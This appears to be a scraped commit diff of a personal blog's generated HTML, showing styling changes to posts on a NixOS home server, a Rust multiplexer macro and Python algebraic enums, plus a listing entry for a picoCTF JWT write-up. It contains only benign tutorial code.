<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.155.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label=JAuth href=https://lavafroth.is-a.dev/post/picoctf-web-challenge-jauth/><h2>JAuth</h2></a><time>Feb 22, 2022 | 2 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/authentication-bypass class=list-tag>Authentication Bypass</a>
<a href=https://lavafroth.is-a.dev/tags/ctf class=list-tag>CTF</a>
<a href=https://lavafroth.is-a.dev/tags/jwt class=list-tag>JWT</a>
<a href=https://lavafroth.is-a.dev/tags/picoctf class=list-tag>PicoCTF</a>

View File

@@ -12,7 +12,7 @@ ribbon cable because we are aiming for a headless setup.</p><p>Removing the disp
Yet others take this further with dedicated operating systems like CasaOS to install containerized services in a single click.</p><p>Sure, these solutions might be easy but they are certainly not simple.
Containers introduce the overhead of Linux kernel namespaces. This means
accessing files on the host additionally requires creating a mount namespace.</p><p>To avoid all of that overhead, I opted for NixOS.</p><p>With NixOS, I can define the state of my system in a single configuration file, ensuring that the services
are running close to bare metal without any abstractions. Most of the services require adding something along the lines of</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-nix data-lang=nix><span style=display:flex><span>services<span style=color:#f92672>.</span>myservicename<span style=color:#f92672>.</span>enable <span style=color:#f92672>=</span> <span style=color:#66d9ef>true</span>;
are running close to bare metal without any abstractions. Most of the services require adding something along the lines of</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-nix data-lang=nix><span style=display:flex><span>services<span style=color:#f92672>.</span>myservicename<span style=color:#f92672>.</span>enable <span style=color:#f92672>=</span> <span style=color:#66d9ef>true</span>;
</span></span></code></pre></div><p>to the configuration file and issuing a system rebuild with the <code>nixos-rebuild</code> command.</p><h3 id=storage-management>Storage Management</h3><p>Initially, I had configured three different routes to transfer files to the server.
Of these, only one service is in use today.</p><h4 id=syncthing>Syncthing</h4><p>I had enabled Syncthing to automatically synchronize media from my phone. While it is a decent solution for a lot
of use cases, <em>it does not support partially sharing the contents of a directory</em>. This annoying &lsquo;all or nothing&rsquo; nature

View File

@@ -40,7 +40,7 @@ multiplexer to pass them to the respective functions. However, this route is
less ergonomic since the programmer has to define a field in their class or
struct whose name is decided by the API.</p><p>The second route takes advantage of Rust&rsquo;s type system.
In Rust, enums can have different structures inside each variant. This allows
defining a macro that matches an enum variant to its respective function.</p><p>Here&rsquo;s how the use of the API might look like:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> m <span style=color:#f92672>=</span> <span style=color:#a6e22e>multiplexer!</span>(MyEnum {
defining a macro that matches an enum variant to its respective function.</p><p>Here&rsquo;s how the use of the API might look like:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>let</span> m <span style=color:#f92672>=</span> <span style=color:#a6e22e>multiplexer!</span>(MyEnum {
</span></span><span style=display:flex><span> Left(StructA) <span style=color:#f92672>=&gt;</span> function_a,
</span></span><span style=display:flex><span> Right(StructB) <span style=color:#f92672>=&gt;</span> function_b,
</span></span><span style=display:flex><span>});
@@ -49,7 +49,7 @@ a channel.</li><li>Spawns these wrapped functions in their own coroutines, joini
them.</li><li>Optionally take a context as an input for cancellation of itself and
coroutines spawned by it.</li><li>Uses a <code>match</code> block to dispatch the inner value of a struct to the respective
channel.</li></ul><p>The macro would use the <code>quote!</code> macro to generate the match arm for each
variant like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#a6e22e>quote!</span>(
variant like the following:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#a6e22e>quote!</span>(
</span></span><span style=display:flex><span> <span style=color:#66d9ef>match</span> #enum_ident {
</span></span><span style=display:flex><span> <span style=color:#75715e>// loop over the arms in the macro call
</span></span></span><span style=display:flex><span> #variant(#inner) <span style=color:#f92672>=&gt;</span> #inner_chan_tx.send(#inner);
@@ -67,7 +67,7 @@ is to return an object with an enum attribute inside it or having a 2 element tu
the enum variant and the struct akin to function return types in <em>Go</em>.</p><p>Another way is to wrap the structures inside enum variants and explicitly tell the API
which variant implies further processing and which one implies a finalized output.</p><p>I advocate for defining a trait on an enum that wraps the output type of the
function which allows the API to call the associated method on the object to
know whether it is a input or a final output.</p><p>Consider the following trait:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>pub</span> <span style=color:#66d9ef>trait</span> PartiallyOpenLoop {
know whether it is a input or a final output.</p><p>Consider the following trait:</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-rust data-lang=rust><span style=display:flex><span><span style=color:#66d9ef>pub</span> <span style=color:#66d9ef>trait</span> PartiallyOpenLoop {
</span></span><span style=display:flex><span> <span style=color:#66d9ef>fn</span> <span style=color:#a6e22e>is_final</span>(<span style=color:#f92672>&amp;</span>self) -&gt; <span style=color:#66d9ef>bool</span>;
</span></span><span style=display:flex><span>}
</span></span></code></pre></div><p>This allows the API to call the <code>is_final</code> method of the object after each pass

View File

@@ -17,7 +17,7 @@ that can encapsulate various other data types.</p><p>Although Python has the ans
<a href=https://peps.python.org/pep-0636/>structural match expressions</a> in recent
versions, most tutorials will suggest <code>Union</code> types as the equivalent to Rust&rsquo;s
enums.</p><blockquote><p>I highly encourage you to try out the code snippets and follow along with this article.
Use the collapse explanation button to copy multiple code blocks in one go.</p></blockquote><h2 id=naive-draft>Naive draft</h2><div class=collapsable-explanation><div class=container><label><input type=checkbox></label></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#75715e># glass_enum.py</span>
Use the collapse explanation button to copy multiple code blocks in one go.</p></blockquote><h2 id=naive-draft>Naive draft</h2><div class=collapsable-explanation><div class=container><label><input type=checkbox></label></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#75715e># glass_enum.py</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#f92672>from</span> dataclasses <span style=color:#f92672>import</span> dataclass
</span></span><span style=display:flex><span>
@@ -30,15 +30,15 @@ Use the collapse explanation button to copy multiple code blocks in one go.</p><
</span></span><span style=display:flex><span> drink: str
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>Glass <span style=color:#f92672>=</span> Empty <span style=color:#f92672>|</span> Full
</span></span></code></pre></div><p>This allows us to define functions that ingest the <code>Glass</code> datatype.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>report_drink</span>(glass: Glass) <span style=color:#f92672>-&gt;</span> str:
</span></span></code></pre></div><p>This allows us to define functions that ingest the <code>Glass</code> datatype.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>report_drink</span>(glass: Glass) <span style=color:#f92672>-&gt;</span> str:
</span></span><span style=display:flex><span> <span style=color:#66d9ef>match</span> glass:
</span></span><span style=display:flex><span> <span style=color:#66d9ef>case</span> Empty():
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> <span style=color:#e6db74>&#34;Whoops, looks like you&#39;ve finished your drink!&#34;</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>case</span> Full(drink):
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> <span style=color:#e6db74>f</span><span style=color:#e6db74>&#34;Ah a </span><span style=color:#e6db74>{</span>drink<span style=color:#e6db74>}</span><span style=color:#e6db74>, what a fine taste!&#34;</span>
</span></span></code></pre></div><p>For example</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>dr_pepper <span style=color:#f92672>=</span> Full(<span style=color:#e6db74>&#39;Dr. Pepper&#39;</span>)
</span></span></code></pre></div><p>For example</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>dr_pepper <span style=color:#f92672>=</span> Full(<span style=color:#e6db74>&#39;Dr. Pepper&#39;</span>)
</span></span><span style=display:flex><span>print(report_drink(dr_pepper))
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#75715e># glass_enum.py</span>
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#75715e># glass_enum.py</span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#f92672>from</span> dataclasses <span style=color:#f92672>import</span> dataclass
</span></span><span style=display:flex><span>
@@ -62,7 +62,7 @@ Use the collapse explanation button to copy multiple code blocks in one go.</p><
</span></span><span style=display:flex><span>dr_pepper <span style=color:#f92672>=</span> Full(<span style=color:#e6db74>&#39;Dr. Pepper&#39;</span>)
</span></span><span style=display:flex><span>print(report_drink(dr_pepper))
</span></span></code></pre></div><div class=container></div></div><p>Will output</p><pre tabindex=0><code>Ah a Dr. Pepper, what a fine taste!
</code></pre><h2 id=pitfalls>Pitfalls</h2><h3 id=no-direct-variant-access>No direct variant access</h3><div class=collapsable-explanation><div class=container><label><input type=checkbox></label></div><p>What if we had another <code>Union</code> with same variant names in the same file?</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#a6e22e>@dataclass</span>
</code></pre><h2 id=pitfalls>Pitfalls</h2><h3 id=no-direct-variant-access>No direct variant access</h3><div class=collapsable-explanation><div class=container><label><input type=checkbox></label></div><p>What if we had another <code>Union</code> with same variant names in the same file?</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#a6e22e>@dataclass</span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>class</span> <span style=color:#a6e22e>Full</span>:
</span></span><span style=display:flex><span> gold: int
</span></span><span style=display:flex><span> gems: int
@@ -73,8 +73,8 @@ Use the collapse explanation button to copy multiple code blocks in one go.</p><
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>Inventory <span style=color:#f92672>=</span> Full <span style=color:#f92672>|</span> Empty
</span></span><span style=display:flex><span>player_inventory <span style=color:#f92672>=</span> Full(<span style=color:#ae81ff>500</span>, <span style=color:#ae81ff>50</span>)
</span></span></code></pre></div><p>Now we try to instantiate a <code>Glass</code> <code>Full</code> of <code>lemonade</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>lemonade <span style=color:#f92672>=</span> Full(<span style=color:#e6db74>&#34;lemonade&#34;</span>)
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#a6e22e>@dataclass</span>
</span></span></code></pre></div><p>Now we try to instantiate a <code>Glass</code> <code>Full</code> of <code>lemonade</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>lemonade <span style=color:#f92672>=</span> Full(<span style=color:#e6db74>&#34;lemonade&#34;</span>)
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#a6e22e>@dataclass</span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>class</span> <span style=color:#a6e22e>Full</span>:
</span></span><span style=display:flex><span> gold: int
</span></span><span style=display:flex><span> gems: int
@@ -91,25 +91,25 @@ union type <code>Inventory</code>.</p><pre tabindex=0><code>Traceback (most rece
File &#34;&lt;python-input-11&gt;&#34;, line 1, in &lt;module&gt;
lemonade = Full(&#34;lemonade&#34;)
TypeError: Full.__init__() missing 1 required positional argument: &#39;gems&#39;
</code></pre><p>We can&rsquo;t instantiate variants as members of the <code>Glass</code> namespace. The following code does not work.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>dr_pepper <span style=color:#f92672>=</span> Glass<span style=color:#f92672>.</span>Full(<span style=color:#e6db74>&#34;Dr. Pepper&#34;</span>)
</code></pre><p>We can&rsquo;t instantiate variants as members of the <code>Glass</code> namespace. The following code does not work.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>dr_pepper <span style=color:#f92672>=</span> Glass<span style=color:#f92672>.</span>Full(<span style=color:#e6db74>&#34;Dr. Pepper&#34;</span>)
</span></span></code></pre></div><p>This can be partially solved by keeping just the <code>Glass</code> type inside a module.
Here we have saved the file as <code>glass_enum.py</code>. From a different module we can
access the variants as <code>glass_enum.Empty</code> and <code>glass_enum.Full</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-py data-lang=py><span style=display:flex><span><span style=color:#75715e># main.py</span>
access the variants as <code>glass_enum.Empty</code> and <code>glass_enum.Full</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-py data-lang=py><span style=display:flex><span><span style=color:#75715e># main.py</span>
</span></span><span style=display:flex><span><span style=color:#f92672>import</span> glass_enum
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>fanta <span style=color:#f92672>=</span> glass_enum<span style=color:#f92672>.</span>Full(<span style=color:#e6db74>&#39;Fanta&#39;</span>)
</span></span><span style=display:flex><span>empty <span style=color:#f92672>=</span> glass_enum<span style=color:#f92672>.</span>Empty()
</span></span></code></pre></div><p>Now any function outside the module has to ingest a rather confusing argument of type <code>glass_enum.Glass</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>refill</span>(glass: glass_enum<span style=color:#f92672>.</span>Glass) <span style=color:#f92672>-&gt;</span> glass_enum<span style=color:#f92672>.</span>Glass:
</span></span></code></pre></div><p>Now any function outside the module has to ingest a rather confusing argument of type <code>glass_enum.Glass</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>refill</span>(glass: glass_enum<span style=color:#f92672>.</span>Glass) <span style=color:#f92672>-&gt;</span> glass_enum<span style=color:#f92672>.</span>Glass:
</span></span><span style=display:flex><span> <span style=color:#75715e># ...</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> glass
</span></span></code></pre></div><p>Since module namespacing only causes more confusion, we will discard this idea.</p><h3 id=no-methods-on-the-enum-itself>No methods on the enum itself</h3><p>Python also disallows methods from being defined on <code>Union</code> types.
In the case of our concrete example, we can&rsquo;t add methods to the <code>Glass</code> type.</p><p>The following code uses a hypothetical <code>is_empty()</code> method on the <code>Glass</code> union
type which is not allowed. Hence the code won&rsquo;t run.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>refill</span>(glass: Glass) <span style=color:#f92672>-&gt;</span> Glass:
type which is not allowed. Hence the code won&rsquo;t run.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>refill</span>(glass: Glass) <span style=color:#f92672>-&gt;</span> Glass:
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> glass<span style=color:#f92672>.</span>is_empty(): <span style=color:#75715e># can&#39;t implement on type `Glass` directly</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> Full(<span style=color:#e6db74>&#39;water&#39;</span>)
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> glass
</span></span></code></pre></div><p>To define a method like <code>is_empty()</code>, it must be implemented on both the classes
<code>Full</code> and <code>Empty</code>. This gets tedious for 3 or more variants.</p><h2 id=python-is-a-sneaky-language>Python is a sneaky language</h2><p>Last week I discovered that Python allows creating nested classes to keep things organized.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>from</span> dataclasses <span style=color:#f92672>import</span> dataclass
<code>Full</code> and <code>Empty</code>. This gets tedious for 3 or more variants.</p><h2 id=python-is-a-sneaky-language>Python is a sneaky language</h2><p>Last week I discovered that Python allows creating nested classes to keep things organized.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>from</span> dataclasses <span style=color:#f92672>import</span> dataclass
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>class</span> <span style=color:#a6e22e>Glass</span>:
</span></span><span style=display:flex><span> <span style=color:#a6e22e>@dataclass</span>
@@ -119,8 +119,8 @@ type which is not allowed. Hence the code won&rsquo;t run.</p><div class=highlig
</span></span><span style=display:flex><span> <span style=color:#a6e22e>@dataclass</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>class</span> <span style=color:#a6e22e>Full</span>:
</span></span><span style=display:flex><span> drink: str
</span></span></code></pre></div><p>Python will happily run the above code and we can access the &ldquo;variants&rdquo; under the <code>Glass</code> namespace.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>lemonade <span style=color:#f92672>=</span> Glass<span style=color:#f92672>.</span>Full(<span style=color:#e6db74>&#39;lemonade&#39;</span>)
</span></span></code></pre></div><p>If only we could register the variants as the <code>Glass</code> type itself and inherit all its methods.</p><h3 id=redecorate>Redecorate</h3><p>We can define a decorator that takes all of the nested dataclasses and makes them inherit the outer class.</p><div class=collapsable-explanation><div class=container><label><input type=checkbox></label></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>AlgebraicEnum</span>(cls):
</span></span></code></pre></div><p>Python will happily run the above code and we can access the &ldquo;variants&rdquo; under the <code>Glass</code> namespace.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>lemonade <span style=color:#f92672>=</span> Glass<span style=color:#f92672>.</span>Full(<span style=color:#e6db74>&#39;lemonade&#39;</span>)
</span></span></code></pre></div><p>If only we could register the variants as the <code>Glass</code> type itself and inherit all its methods.</p><h3 id=redecorate>Redecorate</h3><p>We can define a decorator that takes all of the nested dataclasses and makes them inherit the outer class.</p><div class=collapsable-explanation><div class=container><label><input type=checkbox></label></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>AlgebraicEnum</span>(cls):
</span></span><span style=display:flex><span> <span style=color:#66d9ef>for</span> name, nested <span style=color:#f92672>in</span> cls<span style=color:#f92672>.</span>__dict__<span style=color:#f92672>.</span>items():
</span></span><span style=display:flex><span> <span style=color:#66d9ef>if</span> isinstance(nested, type):
</span></span><span style=display:flex><span> setattr(cls, name, type(name, (cls, nested), {}))
@@ -130,7 +130,7 @@ type which is not allowed. Hence the code won&rsquo;t run.</p><div class=highlig
classes via the method resolution order chain <em>and</em> any object of a nested class
<code>isinstance</code> of the outer class.</p><p>That&rsquo;s all there is to the magic! Simply adding this decorator above the
previous class declaration make variants like <code>Glass.Empty</code> and <code>Glass.Full</code>
inherit <code>Glass</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>from</span> dataclasses <span style=color:#f92672>import</span> dataclass
inherit <code>Glass</code>.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>from</span> dataclasses <span style=color:#f92672>import</span> dataclass
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#a6e22e>@AlgebraicEnum</span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>class</span> <span style=color:#a6e22e>Glass</span>:
@@ -155,12 +155,12 @@ inherit <code>Glass</code>.</p><div class=highlight><pre tabindex=0 style=color:
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> <span style=color:#66d9ef>True</span>
</span></span><span style=display:flex><span> <span style=color:#66d9ef>return</span> <span style=color:#66d9ef>False</span>
</span></span></code></pre></div><p>Note how the <code>report_drink</code> method accepts a <code>self</code> of type <code>Glass</code> and the match arms
compare it with <code>Glass.Empty</code> and <code>Glass.Full</code>.</p><p>The following code runs just fine.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span>diet_coke <span style=color:#f92672>=</span> Glass<span style=color:#f92672>.</span>Full(<span style=color:#e6db74>&#39;diet coke&#39;</span>)
compare it with <code>Glass.Empty</code> and <code>Glass.Full</code>.</p><p>The following code runs just fine.</p><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span>diet_coke <span style=color:#f92672>=</span> Glass<span style=color:#f92672>.</span>Full(<span style=color:#e6db74>&#39;diet coke&#39;</span>)
</span></span><span style=display:flex><span>empty <span style=color:#f92672>=</span> Glass<span style=color:#f92672>.</span>Empty()
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>print(diet_coke<span style=color:#f92672>.</span>report_drink())
</span></span><span style=display:flex><span>print(empty<span style=color:#f92672>.</span>is_empty())
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>from</span> dataclasses <span style=color:#f92672>import</span> dataclass
</span></span></code></pre></div><div class=highlight><pre tabindex=0 style=color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none><code class=language-python data-lang=python><span style=display:flex><span><span style=color:#f92672>from</span> dataclasses <span style=color:#f92672>import</span> dataclass
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span>
</span></span><span style=display:flex><span><span style=color:#66d9ef>def</span> <span style=color:#a6e22e>AlgebraicEnum</span>(cls):

View File

@@ -4,9 +4,9 @@ While my PC did have a decent microphone, the built-in camera has been damaged t
No, it&rsquo;s not a close-up of the moon, it&rsquo;s the refraction caused by the scuffs to the lens plus other sciency stuff I&rsquo;m not qualified enough to explain to you.'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 